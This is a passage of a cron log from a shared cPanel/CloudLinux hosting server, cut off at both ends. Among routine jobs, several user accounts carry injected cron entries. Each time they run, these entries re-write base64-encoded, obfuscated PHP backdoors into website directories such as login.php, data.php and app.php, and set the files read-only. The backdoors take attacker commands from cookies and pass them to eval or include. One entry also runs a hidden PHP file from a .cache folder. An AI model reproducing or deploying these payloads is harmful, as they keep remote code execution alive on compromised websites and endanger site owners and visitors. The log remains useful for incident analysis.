XU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:27:02 medusa CROND[20081]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:28:02 medusa CROND[21572]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 04:28:02 medusa CROND[21573]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 04:28:02 medusa CROND[21574]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:28:02 medusa CROND[21575]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:28:02 medusa CROND[21576]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:28:02 medusa CROND[21577]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:28:02 medusa CROND[21578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:28:02 medusa CROND[21580]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:28:02 medusa CROND[21583]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:28:02 medusa CROND[21584]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:28:02 medusa CROND[21586]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:28:02 medusa CROND[21591]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:28:02 medusa CROND[21592]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:28:02 medusa CROND[21605]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:29:01 medusa CROND[23288]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:29:01 medusa CROND[23337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:29:01 medusa CROND[23336]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 04:29:01 medusa CROND[23339]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:29:01 medusa CROND[23340]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:29:01 medusa CROND[23338]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:29:01 medusa CROND[23341]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:29:01 medusa CROND[23342]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 04:29:01 medusa CROND[23344]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:29:01 medusa CROND[23346]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:29:01 medusa CROND[23347]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:29:01 medusa CROND[23349]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:29:01 medusa CROND[23351]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:30:01 medusa CROND[24864]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 04:30:01 medusa CROND[24871]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 04:30:01 medusa CROND[24879]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 04:30:01 medusa CROND[24881]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 04:30:02 medusa CROND[24886]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 04:30:02 medusa CROND[24896]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:30:02 medusa CROND[24897]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:30:02 medusa CROND[24898]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 04:30:02 medusa CROND[24899]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi